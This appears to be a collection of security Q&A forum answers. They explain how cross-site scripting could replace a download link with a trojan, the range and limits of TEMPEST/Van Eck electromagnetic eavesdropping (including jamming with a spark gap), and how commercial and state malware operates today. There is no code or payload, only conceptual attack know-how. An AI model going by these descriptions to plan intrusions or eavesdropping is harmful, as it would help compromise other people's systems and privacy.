An XSS attack could replace a legitimate download link on the site to one that contains a trojan. The user clicks the link, downloads the executable and runs it thinking it was the genuine program they were intending to install. The attacker could even backdoor the original executable so the user doesn't suspect that anything is wrong.

As for user files, it is not clear from the article but I'm assuming it is files uploaded to the system in question, not the user's file system.

So while an XSS attack doesn't allow actioning these things directly, should the user be unaware that an attacker has access to the client-side of their session, then the specific attacks mentioned could be accomplished.


Limitations of electromagnetic emanations techniques (such as TEMPEST) Target isolation

Attacks like TEMPEST seems to work well but what happen if you are one meter away with two or more computers on, let's say the same table ?

I suppose that the recording device will capture all the electronic emanation from all the device where the target is, so if two other running laptop are on the same table as the target who can you interpret the data properly.

Range

Also at what distance can operate TEMPEST ? Here you can read:

  With this enhanced setup, the attack can be mounted from 50 cm away. Using better antennas, amplifiers and digitizers, the range can be extended even further.

Even further ? Across the street for example ? What happen if there's walls in between ?

The original BBC program, where a Van Eck device was used to screendump CRT screens (high current, high voltage devices) was from at least a hundred meters, with a directional antenna. Yagi I believe. LCD/etc screens are similarly vulnerable, as are keyboards (10-15KHz within 10-15 metres).

There are two things worth noting. Normal cops won't know how to operate this equipment. @Schroeder can perhaps elaborate, I know he is an IT spook. Second, the tempest shielding can be done by anyone. And you can use a spark gap generator to completely f?ck the radio spectrum; everything gets disrupted. But do you really want to do that?

Without having a modern Van Eck device, I will guesstimate that they probably still have a range of ~100-150 metres with a good antenna, and skilled operator.


Virus developers groups Are there any groups of virus developers around anymore? Like 29A group and bunch of other groups few years ago. They never released their codes, never used then to steal data etc.

Short answer: probably.

Longer answer:

Probably, but these aren't the guys making the money or pushing the limits of the field. Malware has become an extremely commercial business, partly because so many activities in our lives are now controlled by or performed on computers. Social networking and online business have made the internet a haven of personal information and criminal potential. It's known that more successful malware campaigns can raise millions per year for an operator, and the cleanup operations and cost to consumers in the US alone exceeds $2.3bn per year.

Just a few things malware usually involves:

Capturing financial information (e.g. credit card numbers) for fraud or sale.
Capturing personal information (name, address, etc.) for sale.
Sending spam messages via email or social media.
Hosting phishing sites.
Spam popups.
DDoS attacks.
Clickjacking / Cost-per-click advertising fraud.
Scareware ("your computer is INFECTED! click here to remove for $20")

All of the above can either be used to make money, or prevent competitors from making money. The trick, in every case, is to keep the malware on the system undetected as long as possible. Once a user notices something is wrong, they'll take steps to find and remove the infection. As such, the malware writers try to be as sneaky and silent as possible.

Corporate and government sponsored malware is also on the rise. The Stuxnet worm (and Flame) are thought to have been written, or heavily funded by, a government agency. There's a good chance that there are a team of malware writers working for your government. They get paid to produce malware that hinders their economic and political opponents.

So, the conclusion is that even if these groups do still exist, which I'm sure they probably do in some small form or another, they're not doing anything particularly interesting. The real work is being done buy the guys that get paid to do it, either by themselves, or by governments and unscrupulous companies.